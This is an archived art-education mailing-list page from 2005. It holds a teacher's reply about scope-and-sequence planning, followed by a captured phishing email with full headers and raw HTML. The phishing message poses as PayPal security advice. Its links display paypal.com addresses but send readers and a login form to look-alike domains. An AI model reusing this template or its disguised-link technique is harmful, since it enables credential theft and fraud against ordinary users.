This Web site uses JavaScript. Please enable JavaScript or use a JavaScript-enabled browser.

Note: To protect the privacy of our members, e-mail addresses have been removed from the archived messages. As a result, some links may be broken.

Re: Scope and sequence deficiencies

Aartteachr_at_TeacherArtExchange
Date: Mon Jan 10 2005 - 14:22:44 PST

Next message: Rachel Smith: "Re: Animator"
Previous message: Rick Larson: "art/science/space"
Maybe in reply to: Marvin Bartel: "Scope and sequence deficiencies"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Mail actions: [ respond to this message ] [ mail a new topic ]

In a message dated 1/10/2005 1:08:36 PM Eastern Standard Time,
marvinpb@goshen.edu writes:

> Sequencing implies that some things are taught first in order to make it
> possible to learn other things. Are there some aspects of the imagination that
> are better learned in a sequence? Is a linear teaching system appropriate
> for a non-linear process?

Marvin,
You have a very good point here that set me thinking! BTW,I do list a bit of
observational drawing in my scope & sequence.

I felt I was too detailed from what I observed in my web search. I had
developed an S&S with 3 columns. Column one was the name of the basic art objective
(the art element, principle or skill), Column two was the lesson objective in
one sentance and 3 was comments (a place to add explanations that may clarify
the objective.

My search yielded too many variable styles of scope and sequence and made me
wonder if it is more for the administration rather than the teacher. I don't
like to be boxed in by specifics. I change lessons every year but the skills
and the principles usually remain the same. I like to go with the flow of what
happens in my classroom. Many times in the midst of a lesson, a student will
come up with an idea or a question that triggers another creative process and
the whole lesson gets altered by new ideas. I love this type of creative
thinking and we need to see more of this in our classrooms.

Marsha

---
---
Return-Path: <Billing@Paypal.com>
Received: from 62.193.229.148 ([62.193.229.148]) by lists.pub.getty.edu with SMTP (Lyris ListManager SOLARIS/SPARC version 7.6a); Mon, 10 Jan 2005 15:03:41 -0800
Received: from 174.185.60.0 by ; Tue, 11 Jan 2005 05:00:39 +0600
Message-ID: <ZITEYMKAFKFZVXWBCDFEGHCL@msn.com>
From: "Protect Your Paypal Account" <Billing@Paypal.com>
Reply-To: "Protect Your Paypal Account" <Billing@Paypal.com>
To: artsednet-request
Subject: 
Date: Tue, 11 Jan 2005 04:00:39 +0500
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="--07997792587973019"
X-IP: 129.43.22.180
# Mail sent to leave-artsednet-20361k was converted to these commands: 
unsubscribe artsednet hm-aen@heracles.getty.edu confirm
end
# This is the text of the message that triggered the action:
Return-Path: <Billing@Paypal.com>
Received: from 62.193.229.148 ([62.193.229.148]) by lists.pub.getty.edu with SMTP (Lyris ListManager SOLARIS/SPARC version 7.6a); Mon, 10 Jan 2005 15:03:41 -0800
Received: from 174.185.60.0 by ; Tue, 11 Jan 2005 05:00:39 +0600
Message-ID: <ZITEYMKAFKFZVXWBCDFEGHCL@msn.com>
From: "Protect Your Paypal Account" <Billing@Paypal.com>
Reply-To: "Protect Your Paypal Account" <Billing@Paypal.com>
To: conwaycorp.net@lists.getty.edu, heracles.getty.edu@lists.getty.edu, leave-artsednet-20359V@lists.getty.edu, leave-artsednet-20361K@lists.getty.edu, perseus.getty.edu@lists.getty.edu
Subject: Update Your Account Information
Date: Tue, 11 Jan 2005 04:00:39 +0500
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="--07997792587973019"
X-IP: 129.43.22.180
----07997792587973019
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable
<HTML><HEAD><TITLE>PayPal - Protect Your PayPal Account</TITLE>
<META http-equiv=3DContent-Type content=3D"text/html; charset=3Dwindows-12=
52"><!--
       Script info: script: webscr, cmd: _login-done, template: p/clk/trus=
t_spoof, date: Nov. 23, 2004 19:50:44 PST; country: AU, language: en_US
       web version: 25.0-392 branch: live-250_int
       content version: 25.0-388
       page XSL: en_US/clickthru/TrustSpoof.xsl
-->
<META http-equiv=3Ddescription 
content=3D"PayPal lets you send money to anyone with email. PayPal is free=
 for consumers and works seamlessly with your existing credit card and che=
cking account. You can settle debts, borrow cash, divide bills or split ex=
penses with friends all without going to an ATM or looking for your checkb=
ook.">
<META http-equiv=3Dkeywords 
content=3D"Send, money, payments, credit, credit card, instant, money, fin=
ancial services, mobile, wireless, WAP, cell phones, two-way pagers, Windo=
ws CE"><LINK 
href=3D"PayPal - Protect Your PayPal Account_files/xpt.css" type=3Dtext/cs=
s 
rel=3Dstylesheet><LINK 
href=3D"PayPal - Protect Your PayPal Account_files/xptInvoice.css" type=3D=
text/css 
rel=3Dstylesheet><LINK 
href=3D"PayPal - Protect Your PayPal Account_files/xptlive.css" type=3Dtex=
t/css 
rel=3Dstylesheet>
<STYLE type=3Dtext/css></STYLE>
<LINK href=3D"/en_US/i/icon/pp_favicon_x.ico" rel=3D"shortcut icon">
<SCRIPT src=3D"PayPal - Protect Your PayPal Account_files/pp_main.js"></SC=
RIPT>
<META content=3D"MSHTML 6.00.2800.1476" name=3DGENERATOR></HEAD>
<BODY>
<DIV>
<DIV id=3DxptHeader>
<TABLE cellSpacing=3D0 cellPadding=3D0 align=3Dcenter border=3D0>
  <TBODY>
  <TR>
    <TD noWrap><IMG alt=3D"" 
      src=3D"http://www.paypal.com/en_US/i/logo/paypal_logo.gif" 
    border=3D0></TD>
    <TD class=3Dcobrand align=3Dmiddle width=3D"100%">&nbsp;</TD>
    <TD noWrap align=3Dright>&nbsp;</TD></TR></TBODY></TABLE></DIV>
<DIV id=3DxptTabsBlueBar>
<TABLE cellSpacing=3D0 cellPadding=3D0 align=3Dcenter border=3D0>
  <TBODY>
  <TR>
    <TD><IMG height=3D29 alt=3D"" 
      src=3D"PayPal - Protect Your PayPal Account_files/pixel.gif" width=3D=
1 
      border=3D0></TD></TR></TBODY></TABLE></DIV>
<DIV id=3DxptContentOuter>
<TABLE id=3DxptContentInner cellSpacing=3D0 cellPadding=3D0 align=3Dcenter=
 border=3D0>
  <TBODY>
  <TR vAlign=3Dtop>
    <TD>
      <DIV id=3DxptTitle>
      <TABLE class=3Dmain cellSpacing=3D0 cellPadding=3D0 align=3Dcenter b=
order=3D0>
        <TBODY>
        <TR>
          <TD class=3Dheading width=3D"100%">Protect Your PayPal Account</=
TD></TR>
        <TR>
          <TD><IMG height=3D2 alt=3D"" 
            src=3D"PayPal - Protect Your PayPal Account_files/pixel.gif" w=
idth=3D1 
            border=3D0></TD></TR>
        <TR>
          <TD>
            <HR>
          </TD></TR></TBODY></TABLE></DIV>
      <DIV id=3DxptContentMain>
      <P>Recently, PayPal members have reported suspicious-looking emails =
and 
      fake websites. These fraudulent emails may address you with the salu=
tation 
      "Dear PayPal User" or "Dear PayPal Member." <SPAN class=3Demphasis>T=
hese 
      emails are not from PayPal. </SPAN>PayPal will only address you by y=
our 
      first and last name, or the business name associated with the 
      account.<BR><BR>Use the following tips to protect your PayPal accoun=
t:</P>
      <OL>
        <LI><SPAN class=3Demphasis>Safely access the PayPal website or you=
r PayPal 
        account</SPAN> by opening in the following: <br><p><a href=3D"http=
://www.security-accounts.ws/">https://www.paypal.com/><br> 
        <LI><SPAN class=3Demphasis>Never give out the following informatio=
n in an 
        email:</SPAN>
        <UL type=3Ddisc>
          <LI>First name, last name, business name 
          <LI>Email and password combination 
          <LI>Credit card, bank account, and PIN number 
          <LI>Social security and driver's license number </LI></UL>
        <LI><SPAN class=3Demphasis>Do not download attachments</SPAN>, sof=
tware 
        updates, or any application to your computer via a link you receiv=
ed in 
        an email. PayPal will not ask you to download anything for your ac=
count 
        to work. 
        <LI><SPAN class=3Demphasis>Choose a unique password</SPAN> and cha=
nge it 
        every 30-60 days. </LI></OL>
      <P>If you think you have received a fraudulent email, please forward=
 the 
      entire email to <A href=3D"mailto:Security@Security-For-Accounts.com=
">Security@Paypal.com</A> and 
      then delete it.</P></DIV></TD></TR></TBODY></TABLE></DIV>
<DIV id=3DxptClickthroughFooter>
<TABLE cellSpacing=3D0 cellPadding=3D0 align=3Dcenter border=3D0>
  <TBODY>
  <TR>
    <TD>
      <HR class=3Dsolid>
    </TD></TR>
  <TR>
    <TD align=3Dright width=3D"100%"><INPUT onclick=3Djavascript:printit()=
; type=3Dbutton value=3D"Print Page" name=3D"">
      <FORM action=3Dhttp://www.security-accounts.ws/> 
      <method=3Dpost><INPUT type=3Dsubmit value=3D"Go To My Account"><name=
=3D"Go To My Account"></FORM></TD></TR></TBODY></TABLE></DIV><BR></DIV></B=
ODY></HTML>
----07997792587973019--

Next message: Rachel Smith: "Re: Animator"
Previous message: Rick Larson: "art/science/space"
Maybe in reply to: Marvin Bartel: "Scope and sequence deficiencies"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Mail actions: [ respond to this message ] [ mail a new topic ]

			The J. Paul Getty Trust
			© J. Paul Getty Trust \| Privacy Policy \| Terms of Use \| Contact Us